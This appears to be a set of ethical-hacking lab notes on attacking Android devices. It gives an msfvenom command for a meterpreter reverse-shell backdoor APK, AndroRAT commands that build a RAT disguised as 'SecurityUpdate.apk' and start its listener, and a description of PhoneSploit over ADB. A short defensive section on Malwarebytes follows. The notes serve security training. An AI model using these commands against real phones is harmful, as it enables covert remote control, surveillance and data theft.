# Hacking Mobile Platforms

> Mobile devices allow communication between users on radio frequencies, whether GSM, LTE, 5G, or Wi-Fi. They can be used to send multimedia content, email, and perform many more tasks using the Internet. Mobile security is becoming increasingly challenging with the emergence of complex attacks that use multiple attack vectors to compromise mobile devices. These security threats exploit critical data as well as financial information and other details of mobile users and may also damage the reputation of mobile networks and organizations.

\


* `msfvenom -p android/meterpreter/reverse_tcp --platform android -a dalvik LHOST=10.10.1.13 R > Desktop/Backdoor.apk`

Exploit the Android Platform through ADB using PhoneSploit:

* Android Debug Bridge (ADB) is a versatile command-line tool that lets you communicate with a device. ADB facilitates a variety of device actions such as installing and debugging apps, and provides access to a Unix shell that you can use to run several different commands on a device.
* Usually, developers connect to ADB on Android devices by using a USB cable, but it is also possible to do so wirelessly by enabling a daemon server at TCP port 5555 on the device.

Hack an Android Device by Creating APK File using AndroRAT:

* AndroRAT is a tool designed to give control of an Android system to a remote user and to retrieve information from it. AndroRAT is a client/server application developed in Java Android for the client side and the Server is in Python. AndroRAT provides a fully persistent backdoor to the target device as the app starts automatically on device boot up, it also obtains the current location, sim card details, IP address and MAC address of the device.
* `python3 androRAT.py --build -i 10.10.1.13 -p 4444 -o SecurityUpdate.apk`
  * \--build: is used for building the APK
  * -i: specifies the local IP address (here, 10.10.1.13)
  * -p: specifies the port number (here, 4444)
  * -o: specifies the output APK file (here, SecurityUpdate.apk)
* `python3 androRAT.py --shell -i 0.0.0.0 -p 4444`

https://www.sisik.eu/apk-tool

Secure Android Devices from Malicious Apps using Malwarebytes Security

* Malwarebytes is an antimalware mobile tool that provides protection against malware, ransomware, and other growing threats to Android devices. It blocks, detects, and removes adware and malware; conducts privacy audits for all apps; and ensures safer browsing.
